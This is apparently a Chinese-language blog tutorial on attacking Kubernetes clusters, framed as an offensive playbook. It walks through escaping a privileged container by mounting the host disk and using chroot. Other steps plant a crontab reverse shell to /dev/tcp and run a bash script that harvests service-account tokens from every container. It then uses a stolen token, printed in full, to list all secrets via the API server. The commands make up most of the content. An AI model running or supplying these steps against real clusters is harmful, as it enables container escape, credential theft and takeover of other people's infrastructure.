云原生安全渗透篇

文章目录

思路

拿到容器shell 进行docker逃逸横向移动拿到privileged 提权到子节点再去搞k8s集权里的pod 找高权限token

知识补充

kubectl 权限限制是很安全的 主节点master节点可以执行kubectl 但子节点不可以

子节点可以控制docker

dockerenv 文件为docker环境

在域渗透中利用hash进行不断的hash传递一直找到一个更高权限的hash

在k8s中利用token横向移动直到找到一个有高权限服务账户的token

横向移动

Docker逃逸

docker和容器本身是很安全的包括k8s如果开启了privilege模式或者部署的是很老的操作系统,因为容器会内部共享一些东西,挂载目录时是使用的高权限目录也会导致docker逃逸,脏牛提权

根据逃逸或者横向 直到某个子节点

子节点

直接在服务器上面抓去信息,然后越权,看本地能够访问到哪些pod,或者从docker容器中去访问,能够访问到的内部正在运行的容器,因为可以命令执行,看有没有高权限的token

通过kubectl 查看能执行什么命令 进去后将容器内部的token 拿出来

在k8s中 容器或者pod内部可以存放高权限用户的服务账户

找高权限token

未授权访问的k8s

api server 未授权可以接管集群

逃逸

前提条件需要特权模式 privilege模式

pod文件配置如下

将宿主机的目录全部挂载到容器的目录下,容器可以操作宿主机的目录导致越权

遇到这种情况直接挂载系统盘

开启特权模式在容器内挂载宿主机的根文件系统

在上述命令启动的容器中,运行以下命令来挂载宿主机的根文件系统

bash 复制代码
mkdir  /priv

mount -t ext4  /dev/vda0 /priv

将宿主机的目录映射到容器目录下

查看宿主机文件
bash 复制代码
kubectl exec 容器名 --ls -alt /priv/root 
查看宿主机的文件内容
bash 复制代码
kubectl exec 容器名 -- cat /priv/root/.bash_history
查看该容器在哪个子节点
复制代码
kubectl get pods -o wide

票据越权

在每个子节点用户在他root根目录中都有一个票据

基于票据越权

查看是否为子节点
复制代码
docker ps | grep apiserver
基于节点校验权限
复制代码
cat /etc/kubernetes/kubelet.conf

查看user关键字 如果是default-auth就是普通权限

如果是system-node就是集群高权限

master节点

node子节点

基于服务账户鉴权

基于RBAC去分配服务权限

情景一 子节点docker进入容器 或get doker shell 目录为可以挂载或者已经挂载 宿主机目录(特权模式)

查看是否处于容器内部

1.命令残缺

2.拥有.dockerevn

查看是否为特权模式
bash 复制代码
cat /proc/self/status | grap -qi '0000003fffffffff' && echo 'Is privileged mode' || echo 'Not privileged mode'

查看/proc/self/status文件中是否有0000003fffffffff 如果有为特权模式

/*挂载*/
复制代码
mkdir  /priv
df -h 
mount -t ext4 /dev/vda0 /priv

df -h 查看所有盘符挂载最大的一半就是主分区

docker环境中 查看挂载的目录

bash 复制代码
ls /priv

可以访问宿主机目录时使用chroot命令更改docker的工作目录

bash 复制代码
chroot /priv /bin/bash
或
chroot /priv sh
获取宿主机文件共享shell
  1. 用户添加用户
  2. /var/spool/cron/crontabs 计划任务反弹shell
    • */1 * * * * sh -i >& /dev/tcp/ip/port >&
横向移动
在docker宿主机中查看 k8s权限
bash 复制代码
cat /kubelet.conf/.kube/config
或者
cat /etc/kubernetes/kubelet.conf

#子节点执行

将该文件复制到当前目录方便操作

bash 复制代码
cp /etc/kubernetes/kubelet.conf ./

检测自身权限

bash 复制代码
kubectl --kubeconfig kubelet.conf get pods #查看该权限可以运行的命名空间
kubectl --kubeconfig kubelet.conf get pods --all-namespaces # 查看master节点的命名空间
kubectl get secrets --all-namespaces 
netstat -antp | grep apis
获取子节点容器中的token

进入容器

bash 复制代码
kubectl exec pod -- cmd
或
docker exec -it 容器名

token存放位置

复制代码
cat /var/run/secrets/kubernetes.io/serviceaccount/token
脚本
sh 复制代码
#!/bin/bash
# 提取所有容器ID 
docker ps -q | while read -r container_id; do
	echo "===容器ID:$container_id ==="
	token=$(docker exec "$container_id" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
	if [ $? -eq 0 ]; then
		echo "Token 内容:"
		echo  "$token"
	else
		echo "错误:  无法获取Token 或 文件不存在"
	fi
	echo -e "\n==========================================="
done
测试token

查询master节点的serverapi接口

复制代码
netstat -antp | grep 6443

通过token进行测试权限

bash 复制代码
kubectl --insecure-skip-tls-verify=true --server="https://ip:6443/" --
token="获取的token" get secrets --all-namespaces

bash 复制代码
kubectl --insecure-skip-tls-verify=true --server="https://192.168.80.135:6443/" --
token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikx1Q3FMS1J2bXcwRlA0RGg3Z1NVMDhhOFc0Ri1WWFI5S2F
JbF9kRExTMzQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby
9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNj
b3VudC9zZWNyZXQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhLXRva2VuLTd2NnZnIiwia3ViZXJuZXRlcy
5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhIiwi
a3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZWViYzU2NWEtN2
Q0Ni00MDI5LTkxNDEtYjBiNDkwMDcyNWNlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1
bHQ6aGlnaC1wcml2aWxlZ2Utc2EifQ.p2MDu_0kyAvreU_doDGpAamwkw1_utE-HSbFpVdlCIbo-
1gDdjTt7iVIGtfN5N4SYZ27UEy9CjQhEz7t_q61XUY23R1D4nehfOYvAcjDXNUhuPRoadDY9R1CwdbDZYs
ZuKSu46x88mWAtM5kHnYFVZz_tvVPUlZ-FCETlcn0NG8sBDPVjnJVxto3UxwaoMPW9mQUnAma7Zq7MhTDbD20EzfJ2HeZWeWe-
5j3ToGpfovSDmtdd4mp96qUAayGWVCxrHJKLrkg2edyAo2lP53kcU8UTOMeKR57UXMfy8RTix9kWvWd8Qr
OrTPBjTaU1qOlvyaJgLMnhI7K4jIgc0cXQ" get secrets --all-namespaces

默认kubectl子节点权限

bash 复制代码
kubectl --kubeconfig ./kubelet.conf get secert --all-namespaces 

kubectl --kubeconfig ./kubelet.conf get pods --all-namespaces
相关推荐
上线之叁6 小时前
小迪安全110-tp框架,版本缺陷,不安全写法,路由访问,利用链
安全
计算机毕设定制辅导-无忧学长6 小时前
TDengine 权限管理与安全配置实战(二)
大数据·安全·tdengine
☞无能盖世♛逞何英雄☜8 小时前
Upload-labs靶场通关
安全
zhu12893035568 小时前
网络安全防护与挑战
网络·安全·web安全
RedCong9 小时前
如何在k8s中对接s3存储
云原生·容器·kubernetes
神经毒素10 小时前
WEB安全--文件上传漏洞--36C3 CTF includer bypass
linux·安全·web安全
DPLSLAB610 小时前
数字孪生重构安全边界:无人机 “虚拟孪生体“ 的预演革命 —— 北京智慧云测构建全要素仿真体系
安全·重构·无人机
蒜白11 小时前
28--当路由器开始“宫斗“:设备控制面安全配置全解
安全·网络工程师·路由·ospf·bgp